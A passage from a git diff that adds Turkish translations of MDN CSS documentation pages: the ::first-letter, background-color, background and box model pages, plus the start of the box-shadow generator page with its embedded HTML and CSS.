mark.</p> +<p>#The beginning of a special punctuation mark.</p> +<p>「特殊的汉字标点符号开头。</p> +<p>《特殊的汉字标点符号开头。</p> +<p>“特殊的汉字标点符号开头。</p></pre> + +<h4 id="CSS_2">CSS</h4> + +<pre class="brush: css notranslate">p::first-letter { + color: red; + font-size: 150%; +}</pre> + +<h4 id="Sonuç_2">Sonuç</h4> + +<p>{{ EmbedLiveSample('Effect_on_special_punctuation_and_non-Latin_characters', '100%', 350) }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td> + <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td> + <td>Generalizes allowed properties to typesetting, text decoration, inline layout properties, {{ cssxref("opacity") }}, and {{ cssxref("box-shadow") }}.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow with ::first-letter')}}</td> + <td>{{ Spec2('CSS3 Text Decoration')}}</td> + <td>Allows the use of {{cssxref("text-shadow")}} with <code>::first-letter</code>.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}</td> + <td>{{ Spec2('CSS3 Selectors') }}</td> + <td>Introduction of the two-colon syntax. Definition of edge-case behavior, such as in list items or with specific languages (e.g., the Dutch digraph <code>IJ</code>).</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition, using the one-colon syntax.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> + + +<p>{{Compat("css.selectors.first-letter")}}</p> +</div> + +<h2 id="Ayrıca_göz_at">Ayrıca göz at</h2> + +<ul> + <li>{{cssxref("::first-line")}}</li> +</ul> diff --git a/files/tr/web/css/background-color/index.html b/files/tr/web/css/background-color/index.html new file mode 100644 index 0000000000..874049e1b6 --- /dev/null +++ b/files/tr/web/css/background-color/index.html @@ -0,0 +1,154 @@ +--- +title: Arka plan rengi +slug: Web/CSS/background-color +tags: + - CSS + - CSS arka plan + - CSS özellikler + - arka plan rengi +translation_of: Web/CSS/background-color +--- +<div>{{CSSRef}}</div> + +<p>The <strong><code>background-color</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> özellik, bir ögenin arkaplan rengini ayarlar.</p> + +<div>{{EmbedInteractiveExample("pages/css/background-color.html")}}</div> + +<p class="hidden">Bu etkileşimli örnek için kaynak GitHub deposunda saklanır. İnteraktif örnekler projesine katkıda bulunmak istiyorsanız, lütfen klonla <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ve bize bir çekme isteği gönderin.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush: css no-line-numbers">/* Anahtar Kelime Değerler */ +background-color: red; +background-color: indigo; + +/* Onaltılık Değer */ +background-color: #bbff00; /* Tamamen opak */ +background-color: #11ffee00; /* Tamamen şeffaf */ +background-color: #11ffeeff; /* Tamamen opak */ + +/* RGB Değer */ +background-color: rgb(255, 255, 128); /* Tamamen opak */ +background-color: rgba(117, 190, 218, 0.5); /* 50% şeffaf */ + +/* HSL Değer */ +background-color: hsl(50, 33%, 25%); /* Tamamen opak */ +background-color: hsla(50, 33%, 25%, 0.75); /* 75% şeffaf */ + +/* Özel Anahtar Değerler */ +background-color: currentcolor; +background-color: transparent; + +/* Evrensel values */ +background-color: inherit; +background-color: initial; +background-color: unset;</pre> + +<p><code>arka plan rengi</code> özellik tek olarak belirtilir <code><a href="#<color>"><renk></a></code> değer.</p> + +<h3 id="Değerler">Değerler</h3> + +<dl> + <dt><a id="<color>"></a>{{cssxref("<renk>")}}</dt> + <dd>Arka planın tek tip rengi. Herhangi bir belirtilen {{cssxref("arka plan - resmi")}} arkasından işlenir , Rengin görüntüdeki herhangi bir saydamlıkta görünmeye devam etmesine rağmen..</dd> +</dl> + +<h3 id="Resmi_sözdizimi">Resmi sözdizimi</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div class="exampleone"> + Lorem ipsum dolor sit amet, consectetuer +</div> + +<div class="exampletwo"> + Lorem ipsum dolor sit amet, consectetuer +</div> + +<div class="examplethree"> + Lorem ipsum dolor sit amet, consectetuer +</div></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css; highlight:[2,7,12];">.exampleone { + background-color: teal; + color: white; +} + +.exampletwo { + background-color: rgb(153,102,153); + color: rgb(255,255,204); +} + +.examplethree { + background-color: #777799; + color: #FFFFFF; +} +</pre> + +<h3 id="Sonuç">Sonuç</h3> + +<p>{{EmbedLiveSample("Examples", 200, 150)}}</p> + +<h2 id="Erişilebilirlik_endişeleri">Erişilebilirlik endişeleri</h2> + +<p>Arka plan rengi ile üzerine yerleştirilen metnin rengi arasındaki kontrast oranının, düşük görme koşullarına sahip kişilerin sayfanın içeriğini okuyabilecek kadar yüksek olmasını sağlamak önemlidir..</p> + +<p>Renk kontrast oranı, metnin parlaklığı ve arka plan rengi değerlerinin karşılaştırılmasıyla belirlenir. Güncel karşılamak için <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, metin içeriği için 4,5: 1, başlıklar gibi daha büyük metinler için ise 3: 1 oranında bir oran gereklidir. Büyük metin 18.66 piksel ve kalın veya daha büyük veya 24 piksel veya daha büyük olarak tanımlanır.</p> + +<ul> + <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>Though technically removing the <code>transparent</code> keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("<color>")}}</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#background-color', 'background-color')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<div>{{cssinfo}}</div> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak isterseniz, lütfen kontrol et <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ve bize bir çekme isteği gönderin.</p> + +<p>{{Compat("css.properties.background-color")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Multiple backgrounds</a></li> + <li>The {{cssxref("<color>")}} data type</li> + <li>Other color-related properties: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li> + <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li> +</ul> diff --git a/files/tr/web/css/background/index.html b/files/tr/web/css/background/index.html new file mode 100644 index 0000000000..e5ef80a75a --- /dev/null +++ b/files/tr/web/css/background/index.html @@ -0,0 +1,153 @@ +--- +title: background +slug: Web/CSS/background +translation_of: Web/CSS/background +--- +<div>{{CSSRef("CSS Background")}}</div> + +<p><span class="seoSummary"><strong><code>background </code></strong>kısayolu arka plan stillerini - örneğin renk, imaj, kaynak ve boyut ya da tekrarlama metodu- tek seferde vermeye yarayan bir CSS özelliğidir.</span></p> + +<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div> + + + +<p>Bu özellik aşağıdaki stilleri tek satırda vermeyi sağlayan bir <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> 'dir: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, ve {{cssxref("background-attachment")}}.</p> + +<p>Diğer tüm shorthand özelliklerinde olduğu gibi eklenmemiş tüm stiller <a href="/en-US/docs/Web/CSS/initial_value">ilk değer</a>lerini almaya devam eder.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush: css no-line-numbers">/* Using a <background-color> */ +background: green; + +/* Using a <bg-image> and <repeat-style> */ +background: url("test.jpg") repeat-y; + +/* Using a <box> and <background-color> */ +background: border-box red; + +/* A single image, centered and scaled */ +background: no-repeat center/80% url("../img/image.png"); +</pre> + +<p><code>background</code> özelliği bir ya da daha fazla arka plan katmanının virgülle ayrılmış hali olarak tanımlanır.</p> + +<p>Her katmanın sentaksı aşağıdaki gibidir:</p> + +<ul> + <li>Her katman aşağıdaki değerlerden herhangi birinin sıfır ya da bir tekrarını içerebilir: + <ul> + <li><code><a href="#<attachment>"><attachment></a></code></li> + <li><code><a href="#<bg-image>"><bg-image></a></code></li> + <li><code><a href="#<position>"><position></a></code></li> + <li><code><a href="#<bg-size>"><bg-size></a></code></li> + <li><code><a href="#<repeat-style>"><repeat-style></a></code></li> + </ul> + </li> + <li> <code><a href="#<bg-size>"><bg-size></a></code> değeri sadece <code><a href="#<position>"><position></a></code> değerinden sonra eklenebilir ve '/' karakteriyle ayrılır, örneğin: "<code>center/80%</code>".</li> + <li> <code><a href="#<box>"><box></a></code> değeri hiç eklenmeyebilir ya da bir ya da iki kere eklebilir. Eğer bir kere eklendiyse hem {{cssxref("background-origin")}} hem {{cssxref("background-clip")}} ayarlar. Eğer iki kere eklendiyse, ilk eklenen {{cssxref("background-origin")}} özelliğini ayarlar, ikinci eklenen ise {{cssxref("background-clip")}} ayarlar.</li> + <li> <code><a href="#<background-color>"><background-color></a></code> değeri sadece son katmana eklebilir.</li> +</ul> + +<h3 id="Values(Değerler)">Values(Değerler)</h3> + +<dl> + <dt id="<attachment>"><code><attachment></code></dt> + <dd>See {{cssxref("background-attachment")}}</dd> + <dt id="<box>"><code><box></code></dt> + <dd>See {{cssxref("background-clip")}} and {{cssxref("background-origin")}}</dd> + <dt id="<background-color>"><code><background-color></code></dt> + <dd>See {{cssxref("background-color")}}</dd> + <dt id="<bg-image>"><code><bg-image></code></dt> + <dd>See {{Cssxref("background-image")}}</dd> + <dt id="<position>"><code><position></code></dt> + <dd>See {{cssxref("background-position")}}</dd> + <dt id="<repeat-style>"><code><repeat-style></code></dt> + <dd>See {{cssxref("background-repeat")}}</dd> + <dt id="<bg-size>"><code><bg-size></code></dt> + <dd>See {{cssxref("background-size")}}.</dd> +</dl> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p class="topbanner"> + Starry sky<br/> + Twinkle twinkle<br/> + Starry sky +</p> +<p class="warning">Here is a paragraph<p></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush:css' highlight:[2,6];">.warning { + background: pink; +} + +.topbanner { + background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; +} +</pre> + +<h3 id="Sonuç">Sonuç</h3> + +<p>{{EmbedLiveSample("Examples")}}</p> + +<h2 id="Accessibility_concerns">Accessibility concerns</h2> + +<p>Assistive technology cannot parse background images. If the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document.</p> + +<ul> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li> + <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No significant changes</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#background', 'background')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<p>{{cssinfo}}</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("css.properties.background")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{cssxref("box-decoration-break")}}</li> + <li><a href="/en-US/docs/CSS/Using_CSS_gradients">Using gradients</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">Using multiple backgrounds</a></li> +</ul> diff --git a/files/tr/web/css/box_model/index.html b/files/tr/web/css/box_model/index.html new file mode 100644 index 0000000000..38245c8af4 --- /dev/null +++ b/files/tr/web/css/box_model/index.html @@ -0,0 +1,67 @@ +--- +title: Kutu modeli +slug: Web/CSS/box_model +tags: + - CSS + - Kutu Modeli +translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +--- +<h2 id="Özet">Özet</h2> + +<p>Bir döküman içerisinde, her eleman bir dikdörtgen kutu şeklinde sunulur. Bu kutuların boyutları, özellikleri — örneğin renkleri, arkaplanı, border görünümü — ve pozisyonlarını belirlemek, rendering motorunun görevidir.</p> + +<p>CSS içinde, tüm bu dikdörtgen kutular tanımlanırken standart kutu modeli (box model) olarak tanımlanırlar Bu model, elemanın içeriğinin kaplayacağı alanı tanımlar. Her kutunun dört kenarı bulunur: <strong>margin kenarı</strong>, <strong>border kenarı</strong>, <strong>padding kenarı</strong> ve <strong>içerik kenarı</strong>.</p> + +<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/11171/boxmodel-%283%29.png" style="height: 384px; width: 548px;"></p> + +<p><a name="content"></a><strong>İçerik alanı, </strong>gerçekten elemanın içeriğinin kapladığı alandır. Sıklıkla bir backgroundu, rengi veya imajı bulunur ve içerik kenarından iç kısımda yer alır, ebatları içerik genişliği veya içerik-kutu genişliği ve içerik yüksekliği veya içerik-kutu yüksekliğidir.</p> + +<p>Eğer CSS'in {{ cssxref("box-sizing") }} özelliği varsayılan olarak ayarlandıysa, CSS özellikleri {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} ve {{ cssxref("max-height") }} içerik boyutunu kontrol eder.</p> + +<p><a name="padding"></a><strong>Padding alanı </strong>borderın etrafını içeriden çevreleyen bir dolgu şeklinde genişler. İçerik alanı background, renk ya da imaj barındırıyorsa bunlar da padding'in içine doğru genişler, bu sayede paddingin içeriği genişleten bir olgu olduğunu düşünebilirsiniz. Padding, padding kenarının içinde yer alır ve ebatları padding-box genişliği ve padding-box yüksekliğidir.</p> + +<p>Padding kenarı ve içerik arasındaki boşluk {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} CSS özellikleri ve {{ cssxref("padding") }} CSS kısa yazım biçimi ile kontrol edilir.</p> + +<p><a name="border"></a><strong>Border alanı </strong>padding alanını<strong> </strong>border içeren alanı kullanarak genişlerit. Border kenarı içindeki alandır ve ebatları border-box genişliği ve border-box yüksekliği olarak tanımlanır. Bu alan borderın {{ cssxref("border-width") }} özelliği veya {{ cssxref("border") }} kısa yazımı kullanılarak belirlenir.</p> + +<p><a name="margin"></a><strong>Margin alanı </strong>border alanını boş alana doğru genişletir ve elemanları komşu elemanlardan ayırmak için kullanılır. Bu alan <em>margin kenarı </em>içindeki alandır, ve ebatları margin-box genişliği ve margin-box yüksekliğidir.</p> + +<p>Margin alanının boyutları {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} ve {{ cssxref("margin") }} kısa yazımı CSS özellikleri kullanılarak kontrol edilir.</p> + +<p><a href="/en/CSS/margin_collapsing" title="en/CSS/margin_collapsing">margin collapsing</a> oluştuğunda, margin alanları kutular arasında paylaştırılmadıkça düzgün bir şekilde tanımlanmış olmaz.</p> + +<p>Son olarak, unutmayın ki, özelliği değiştirilmemiş inline elemanlar için, içeriğin etrafında görsel olarak border ve padding görünse bile, kaplanacak alan miktarını (satırın yüksekliğine destek olarak) belirleyen özellik CSS'in {{ cssxref('line-height') }} özelliğidir.</p> + +<h2 id="Özellikleri">Özellikleri</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td> + <p>Tamamen daha fazla tanımlaması bulunsa da pratikte değişiklik bulunmuyor</p> + </td> + </tr> + <tr> + <td>{{ SpecName("CSS1","#formatting-model")}}</td> + <td>{{ Spec2('CSS1') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Bunlara_da_bakın">Bunlara da bakın</h2> + +<ul> + <li><a href="/en/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li> + <li>{{ CSS_key_concepts() }}</li> + <li>İlgili CSS özellikleri: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li> +</ul> diff --git a/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..6dfce27d95 --- /dev/null +++ b/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2882 @@ +--- +title: Box-shadow Oluşturucu +slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +tags: + - box-shadow oluşturucu +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +<p>Bu araç {{cssxref("box-shadow")}} CSS yapısı oluşturarak, CSS objelerinize box-shadow efekti vermenizi sağlar.</p> + +<div style="display: none;"> +<h2 id="box-shadow_generator" name="box-shadow_generator">box-shadow generator</h2> + +<h3 id="HTML_Content">HTML Content</h3> + +<pre class="brush: html"><div id="container"> + <div class="group section"> + <div id="layer_manager"> + <div class="group section"> + <div class="button" data-type="add"> </div> + <div class="button" data-type="move-up"> </div> + <div class="button" data-type="move-down"> </div> + </div> + <div id="stack_container"></div> + </div> + + <div id="preview_zone"> + <div id="layer_menu" class="col span_12"> + <div class="button" id="element" data-type="subject" data-title="element"> element </div> + <div class="button" id="before" data-type="subject" data-title=":before"> + :before + <span class="delete" data-type="disable"></span> + </div> + <div class="button" id="after" data-type="subject" data-title=":after"> + :after + <span class="delete" data-type="disable"></span> + </div> + <div class="ui-checkbox" data-topic='before' data-label=":before"></div> + <div class="ui-checkbox" data-topic='after' data-label=":after"></div> + </div> + + <div id="preview"> + <div id="obj-element"> + <div class="content"> </div> + <div id="obj-before"> </div> + <div id="obj-after"> </div> + </div> + </div> + </div> + </div> + + <div id="controls" class="group section"> + <div class="wrap-left"> + <div class="colorpicker category"> + <div class="title"> </div> + <div id="colorpicker" class="group"> + <div id="gradient" class="gradient"> + <div id="gradient_picker"> </div> + </div> + <div id="hue" data-topic="hue" class="hue"> + <div id="hue_selector"> </div> + </div> + <div class="info"> + <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div> + <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div> + <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div> + </div> + <div class="alpha"> + <div id="alpha" data-topic="alpha"> + <div id="alpha_selector"> </div> + </div> + </div> + <div class="info"> + <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div> + <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div> + <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div> + </div> + <div class="preview block"> + <div id="output_color"> </div> + </div> + <div class="block info"> + <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> + <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> + </div> + </div> + </div> + </div> + + <div class="wrap-right"> + + <div id="shadow_properties" class="category"> + <div class="title"> Shadow properties </div> + <div class="group"> + <div class="group property"> + <div class="ui-slider-name"> inset </div> + <div class="ui-checkbox" data-topic='inset'></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Position x </div> + <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div> + <div class="ui-slider" data-topic="posX" + data-min="-500" data-max="500" data-step="1"> </div> + <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div> + <div class="ui-slider-input" data-topic="posX" data-unit="px"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Position y </div> + <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div> + <div class="ui-slider" data-topic="posY" + data-min="-500" data-max="500" data-step="1"> </div> + <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div> + <div class="ui-slider-input" data-topic="posY" data-unit="px"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Blur </div> + <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div> + <div class="ui-slider" data-topic="blur" + data-min="0" data-max="200" data-step="1"> </div> + <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div> + <div class="ui-slider-input" data-topic="blur" data-unit="px"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Spread </div> + <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div> + <div class="ui-slider" data-topic="spread" + data-min="-100" data-max="100" data-step="1" data-value="50"> + </div> + <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div> + <div class="ui-slider-input" data-topic="spread" data-unit="px"></div> + </div> + </div> + </div> + + <div id="element_properties" class="category"> + <div class="title"> Class element properties </div> + <div class="group"> + <div class="group property"> + <div class="ui-slider-name"> border </div> + <div class="ui-checkbox" data-topic='border-state' data-state="true"></div> + </div> + <div id="z-index" class="slidergroup"> + <div class="ui-slider-name"> z-index </div> + <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div> + <div class="ui-slider" data-topic="z-index" + data-min="-10" data-max="10" data-step="1"></div> + <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div> + <div class="ui-slider-input" data-topic="z-index"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> top </div> + <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div> + <div class="ui-slider" data-topic="top" + data-min="-500" data-max="500" data-step="1"> </div> + <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div> + <div class="ui-slider-input" data-topic="top" data-unit="px"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> left </div> + <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div> + <div class="ui-slider" data-topic="left" + data-min="-300" data-max="700" data-step="1"> </div> + <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div> + <div class="ui-slider-input" data-topic="left" data-unit="px"></div> + </div> + <div id="transform_rotate" class="slidergroup"> + <div class="ui-slider-name"> Rotate </div> + <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div> + <div class="ui-slider" data-topic="rotate" + data-min="-360" data-max="360" data-step="1" data-value="0"> + </div> + <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div> + <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Width </div> + <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div> + <div class="ui-slider" data-topic="width" + data-min="0" data-max="1000" data-step="1" data-value="200"> + </div> + <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div> + <div class="ui-slider-input" data-topic="width" data-unit="px"></div> + </div> + <div class="slidergroup"> + <div class="ui-slider-name"> Height </div> + <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div> + <div class="ui-slider" data-topic="height" + data-min="0" data-max="400" data-step="1" data-value="200"> + </div> + <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div> + <div class="ui-slider-input" data-topic="height" data-unit="px"></div> + </div> + </div> + </div> + + <div id="output" class="category"> + <div id="menu" class="menu"></div> + <div class="title"> CSS Code </div> + <div class="group" style="border-top-left-radius: 0;"> + <div class="output" data-topic="element" data-name="element" + data-prop="width height background-color position=[relative] box-shadow"> + </div> + <div class="output" data-topic="before" data-name="element:before" + data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> + </div> + <div class="output" data-topic="after" data-name="element:after" + data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> + </div> + </div> + </div> + </div> + </div> +</div> +</pre> + +<h3 id="CSS_Content">CSS Content</h3> + +<pre class="brush: css">/* GRID OF TWELVE + * ========================================================================== */ + +.span_12 { + width: 100%; +} + +.span_11 { + width: 91.46%; +} + +.span_10 { + width: 83%; +} + +.span_9 { + width: 74.54%; +} + +.span_8 { + width: 66.08%; +} + +.span_7 { + width: 57.62%; +} + +.span_6 { + width: 49.16%; +} + +.span_5 { + width: 40.7%; +} + +.span_4 { + width: 32.24%; +} + +.span_3 { + width: 23.78%; +} + +.span_2 { + width: 15.32%; +} + +.span_1 { + width: 6.86%; +} + + +/* SECTIONS + * ========================================================================== */ + +.section { + clear: both; + padding: 0px; + margin: 0px; +} + +/* GROUPING + * ========================================================================== */ + + +.group:before, .group:after { + content: ""; + display: table; +} + +.group:after { + clear:both; +} + +.group { + zoom: 1; /* For IE 6/7 (trigger hasLayout) */ +} + +/* GRID COLUMN SETUP + * ========================================================================== */ + +.col { + display: block; + float:left; + margin: 1% 0 1% 1.6%; +} + +.col:first-child { + margin-left: 0; +} /* all browsers except IE6 and lower */ + +/* + * UI Slider + */ + +.slidergroup { + height: 20px; + margin: 10px 0; + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + -moz-user-select: none; + user-select: none; +} + +.slidergroup * { + float: left; + height: 100%; + line-height: 100%; +} + +/* Slider */ + +.ui-slider { + height: 10px; + width: 200px; + margin: 4px 10px; + display: block; + border: 1px solid #999; + border-radius: 3px; + background: #EEE; +} + +.ui-slider:hover { + cursor: pointer; +} + +.ui-slider-name { + width: 90px; + padding: 0 10px 0 0; + text-align: right; + text-transform: lowercase; +} + +.ui-slider-pointer { + width: 13px; + height: 13px; + background-color: #EEE; + border: 1px solid #2C9FC9; + border-radius: 3px; + position: relative; + top: -3px; + left: 0%; +} + +.ui-slider-btn-set { + width: 25px; + background-color: #2C9FC9; + border-radius: 3px; + color: #FFF; + font-weight: bold; + text-align: center; +} + +.ui-slider-btn-set:hover { + background-color: #379B4A; + cursor: pointer; +} + +.ui-slider-input > input { + margin: 0 10px; + padding: 0; + width: 50px; + text-align: center; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +/* + * UI Button + */ + +/* Checkbox */ + +.ui-checkbox { + text-align: center; + font-size: 16px; + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + line-height: 1.5em; + color: #FFF; + + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.ui-checkbox > input { 